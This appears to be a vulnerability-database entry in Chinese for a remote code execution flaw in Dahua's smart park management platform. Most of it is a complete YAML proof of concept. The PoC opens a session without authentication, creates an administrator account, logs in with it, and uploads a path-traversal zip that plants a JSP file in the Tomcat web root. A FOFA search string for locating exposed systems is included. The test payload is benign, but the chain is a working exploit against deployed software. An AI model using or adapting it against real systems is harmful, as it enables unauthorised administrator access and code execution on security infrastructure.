dahua-sso-initsession-action-create-user: 大华智慧园区综合管理平台远程代码执行漏洞

日期: 2025-09-01 | 影响软件: dahua sso | POC: 已公开

漏洞描述

大华智慧园区综合管理平台在处理用户请求数据的过程中,没有足够的检查和过滤,可能导致恶意用户执行任意代码。 FOFA: body="/WPMS" header_string = "hauc"

PoC代码[已公开]

id: dahua-sso-initsession-action-create-user

info:
  name: 大华智慧园区综合管理平台远程代码执行漏洞
  author: xpoc
  severity: critical
  verified: true
  description: |
    大华智慧园区综合管理平台在处理用户请求数据的过程中,没有足够的检查和过滤,可能导致恶意用户执行任意代码。
    FOFA: body="/WPMS"
    header_string = "hauc"
  reference:
    - https://stack.chaitin.com/techblog/detail?id=103
  tags: dahua
  created: 2023/06/22

set:
  rboundary: randomLowercase(8)
  username: randomLowercase(8)
  password: randomLowercase(8)
  randfile: randomLowercase(8)
  filename: string("../../../../../../../../../../../../../opt/tomcat/webapps/upload/" + randfile + ".jsp")
  randstring: randomLowercase(8)
  filecontent: bytes("<% out.print(\"" + randstring + "\"); new java.io.File(application.getRealPath(request.getServletPath())).delete();%>")
  zip: base64Decode("UEsDBBQACAAIAAAAAAAAAAAAAAAAAAAAAABTAAAALi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vb3B0L3RvbWNhdC93ZWJhcHBzL3VwbG9hZC90ZXN0MTIzdGVzdDEyMy5qc3AcyMEKwjAMBuBXCYVBy6AvMPHoWfS6S3A/MxLSmmXz9UWv32mgtkftLhZ5TolGcrZlCxdbaaQ0pzKR4UMvPrhKqxdRZO5d5cEhzeqKuIH1yvHMjveOLX52hx+K+HMppS5QBHKZhvM3AAD//1BLBwhfZZzKawAAAHUAAABQSwECFAAUAAgACAAAAAAAX2WcymsAAAB1AAAAUwAAAAAAAAAAAAAAAAAAAAAALi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vb3B0L3RvbWNhdC93ZWJhcHBzL3VwbG9hZC90ZXN0MTIzdGVzdDEyMy5qc3BQSwUGAAAAAAEAAQCBAAAA7AAAAAAA")
  encPass: md5(username + ":dss:" + password)
rules:
  r0:
    request:
      method: GET
      path: /admin/sso_initSession.action
    expression: |
      "[0-9a-zA-Z]{32}".bmatches(response.body) && response.headers["content-length"] == "32"
    output:
      search: |
        '(?P<sid>[0-9a-zA-Z]{32})'.bsubmatch(response.body)
      sid: search['sid']

  r1:
    request:
      method: POST
      path: /admin/user_save.action
      headers:
        Cookie: JSESSIONID={{sid}}
        Content-Type: multipart/form-data; boundary=----{{rboundary}}
      body: "------{{rboundary}}\r\n\
            Content-Disposition: form-data; name=\"userBean.userType\"\r\n\
            \r\n\
            0\r\n\
            ------{{rboundary}}\r\n\
            Content-Disposition: form-data; name=\"userBean.ownerCode\"\r\n\
            \r\n\
            001\r\n\
            ------{{rboundary}}\r\n\
            Content-Disposition: form-data; name=\"userBean.isReuse\"\r\n\
            \r\n\
            0\r\n\
            ------{{rboundary}}\r\n\
            Content-Disposition: form-data; name=\"userBean.macStat\"\r\n\
            \r\n\
            0\r\n\
            ------{{rboundary}}\r\n\
            Content-Disposition: form-data; name=\"userBean.roleIds\"\r\n\
            \r\n\
            1\r\n\
            ------{{rboundary}}\r\n\
            Content-Disposition: form-data; name=\"userBean.loginName\"\r\n\
            \r\n\
            {{username}}\r\n\
            ------{{rboundary}}\r\n\
            Content-Disposition: form-data; name=\"displayedOrgName\"\r\n\
            \r\n\
            {{username}}\r\n\
            ------{{rboundary}}\r\n\
            Content-Disposition: form-data; name=\"userBean.loginPass\"\r\n\
            \r\n\
            {{password}}\r\n\
            ------{{rboundary}}\r\n\
            Content-Disposition: form-data; name=\"checkPass\"\r\n\
            \r\n\
            {{password}}\r\n\
            ------{{rboundary}}\r\n\
            Content-Disposition: form-data; name=\"userBean.groupId\"\r\n\
            \r\n\
            0\r\n\
            ------{{rboundary}}\r\n\
            Content-Disposition: form-data; name=\"userBean.userName\"\r\n\
            \r\n\
            {{username}}\r\n\
            ------{{rboundary}}--"
    expression: response.body.bcontains(b'validationError:::用户名称已存在:::validationError') || (response.status == 200 && response.headers['content-length'] == "0")

  r2:
    request:
      method: POST
      path: /WPMS/getPublicKey
      headers:
        Content-Type: application/json
      body: |
        {"loginName":"{{username}}"}
    expression: response.body.bcontains(b'"publicKey":')
    output:
      search: |
        '"publicKey":"(?P<pubkey>.*?)"'.bsubmatch(response.body)
      pubkey: search['pubkey']
      enc_password: base64(rsaEncryptPKCS1v15(bytes(password),pubkey))

  r3:
    request:
      method: POST
      path: /WPMS/login
      headers:
        Content-Type: application/json
      body: |
        {"loginName":"{{username}}","loginPass":"{{enc_password}}","timestamp":"16853622671401904168273612873678126378126387"}
    expression: response.body.bcontains(b'"success":"true"')
    output:
      search: |
        '"token":"(?P<token>.*?)"'.bsubmatch(response.body)
      token: search['token']

  r4:
    request:
      method: GET
      path: /admin/login_login.action?subSystemToken={{token}}
      headers:
        Cookie: JSESSIONID={{sid}}
    expression: true

  r5:
    request:
      method: POST
      path: /admin/recover_recover.action?password={{encPass}}
      headers:
        Cookie: JSESSIONID={{sid}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9c9BBHdk0NgAjoxz
      body: "------WebKitFormBoundary9c9BBHdk0NgAjoxz\r\n\
            Content-Disposition: form-data; name=\"recoverFile\"; filename=\"test1.zip\"\r\n\
            Content-Type: application/zip\r\n\
            \r\n\
            {{zip}}}\r\n\
            ------WebKitFormBoundary9c9BBHdk0NgAjoxz--
            "
    expression: true

  r6:
    request:
      method: GET
      path: /upload/{{randfile}}.jsp
    expression: response.body.bcontains(bytes(randstring))

expression: r0() && r1() && r2() && r3() && r4() && r5()